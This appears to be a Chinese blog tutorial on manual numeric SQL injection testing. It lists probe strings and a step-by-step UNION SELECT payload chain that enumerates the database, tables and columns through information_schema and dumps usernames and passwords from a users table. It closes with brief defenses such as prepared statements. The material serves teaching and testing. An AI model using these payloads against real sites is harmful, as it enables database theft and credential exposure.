Sql注入--数字型手工测试

漏洞原因:是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)

测试语句:

  1. 直接加参数判断 ‘ / \   (有报错代表可能有注入点)
  2. 1 and 1=1
  3. 1 and 1=2
  4. 1’ or 1=1 --+
  5. 1’ or 1=1 #
  6. 1’ or ‘1’=’1

发现有注入点,测试步骤:

  1. 判断字段数  1' order by 2--+
  2. 查看可代入查询的点  1' union select 1,2--+
  3. 爆数据库   1' union select 1,database()--+
  4. 爆表  1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
  5. 爆字段  1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--+
  6. 爆内容   1' union select 1,concat(user,0x2f,password) from users --+

判断字段数,看到有回显的,说明有2个字段数。

通过union slelct 看到2个字段数,哪里可以代入查询,发现1跟2都可以

爆数据库

爆表,得到有2张表,我们关心是users表

查看users表的字段

查看user,password 内容,得到有5条数据

漏洞防护:

  • 检查变量数据类型和格式
  • 过滤特殊符号
  • 绑定变量,使用预编译语句 

Sql注入还有很多种类型,原因都是一样,难点主要是找注入点。当然用工具的话是会快很多。

好了数字型的手工注入,告一段落,下次带来sqlmap注入的简易操作

最新文章

  1. MySQL utf8mb4 字符集:支持 emoji 表情符号
  2. springMVC学习之接受JSON参数
  3. Python3基础 列表乘一个整数 扩增列表
  4. 附录1· 初识Linux操作系统
  5. WinForm 简单蒙版实现控件遮盖
  6. Unity3D客户端和Java服务端使用Protobuf
  7. java-GUI图形用户界面
  8. TinyMCE(富文本编辑器)
  9. linux下文件压缩与解压操作
  10. php获取文件创建时间、修改时间
  11. poj 2046 Gap
  12. bootstrap API地址
  13. CSS3实现漂亮ToolTips
  14. ME01:猎场中猎头的内核
  15. beta版本复审
  16. Beta冲刺(6/7)
  17. ajax csrf
  18. 桂林电子科技大学第三届ACM程序设计竞赛 G 路径
  19. Realm 处理List<String> 问题 Type parameter 'java.lang.String' is not within its bound; should implement 'io.realm.RealmModel
  20. thinkphp5实现多级控制器

热门文章

  1. 力扣 - 剑指Offer 35.复杂链表的复制
  2. js 自适应手机电脑 轮播图
  3. Preparation for MCM/ICM Writing
  4. .net 实现之短信验证码
  5. 面试官问我redis数据类型,我回答了8种
  6. Hopfield Network 霍普菲尔德网络入门
  7. JS多物体运动案例:变宽、变高
  8. Gromacs分子动力学模拟流程概述
  9. MyBatis动态Sql之if标签的注意事项
  10. go语言协程安全map